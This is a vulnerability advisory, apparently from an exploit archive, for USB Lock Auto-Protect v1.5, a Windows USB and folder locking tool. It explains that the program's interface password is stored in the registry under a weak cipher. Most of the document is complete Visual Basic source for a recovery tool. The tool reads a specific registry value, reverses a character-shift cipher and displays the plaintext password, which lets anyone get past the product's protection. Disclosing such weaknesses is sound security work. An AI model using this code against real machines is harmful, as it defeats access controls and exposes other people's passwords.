Software: USB Lock Auto-Protect
Vendor: www.advansysperu.com
Corporation: Advansysperu Software
Version: 1.5
Vulnerability: Local Password Encryption Weakness


Background:
********************
Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks
with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection
without changing folder location. In addition it offers the ability to lock the PC and
still be able to see screen contents. Its interface is protected by encrypted password and
offers active protection working as a Windows service at the local system level making it
suitable for both home and business use.


Vulnerability:
********************
The weakness is caused due to the use of a weak encryption algorithm to encrypt the password
stored in the registry. It is too easy to recover the password for bypass interface protection.


Exploit:
********************
Recovery tool code source is available.
http://www.shadock.net/secubox/.data/adv_usblock/


--------------recovery.frm-----------------
VERSION 5.00
Begin VB.Form Recovery 
BackColor = &H00000000&
BorderStyle = 4
Caption = "USB Lock Auto-Protect Password Recovery"
ClientHeight = 855
ClientLeft = 45
ClientTop = 285
ClientWidth = 4350
ForeColor = &H00000000&
MaxButton = 0
MinButton = 0
PaletteMode = 1
ScaleHeight = 855
ScaleWidth = 4350
ShowInTaskbar = 0
StartUpPosition = 2
Begin VB.Label lcd
Alignment = 2
BackColor = &H00000000&
BeginProperty Font
Name = "Courier New"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0
Italic = 0
Strikethrough = 0
EndProperty
ForeColor = &H0080FF80&
Height = 615
Left = 120
TabIndex = 0
Top = 120
Width = 4095
End
End
Attribute VB_Name = "Recovery"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'##################################################################################

'USB Lock Auto-Protect v1.5 Local Password Encryption Weakness

'Discovered & Coded: fRoGGz
'Credits to: SecuBox Labs
'Web: secubox.teria.org

'Software:
'øøøøøøøøøøøøøøøøøøøøøøø
'USB Lock Auto-Protect v1.5
'Vendor: www.advansysperu.com

'Background:
'øøøøøøøøøøøøøøøøøøøøøøø
'Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks
'with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection
'without changing folder location. In addition it offers the ability to lock the PC and
'still be able to see screen contents. Its interface is protected by encrypted password and
'offers active protection working as a Windows service at the local system level making it
'suitable for both home and business use.

'Vulnerability:
'øøøøøøøøøøøøøøøøøøøøøøø
'The weakness is caused due to the use of a weak encryption algorithm to encrypt the password
'stored in the registry. It is possible to recover the password for bypass interface protection.

'##################################################################################

Option Explicit

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" ( _
ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, _
ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Dim i As Integer
Dim Decrypt As String

Private Sub Form_Load()
Dim Handle, Test As Long
Dim Crypt As String * 50

If RegOpenKeyEx(&H80000001, "Software\VB and VBA Program Settings\vbts\id", 0, &HF003F, Handle) = 0 Then
Test = RegQueryValueEx(Handle, "dll", 0, 1, Crypt, 50)
lcd = Crypt
RegCloseKey (Handle)

i = 1
If Len(lcd) <> 0 Then
Do While (i <= Len(lcd))
Decrypt = Decrypt & Chr(Asc(Mid(lcd, i, 1)) - 5)
i = i + 1
Loop
lcd = "Your decrypted password is:" & vbCrLf & vbCrLf & Decrypt
End If
Else
MsgBox "USB Lock Auto-Protect is not installed !", vbCritical, "Recovery Tool"
End
End If
End Sub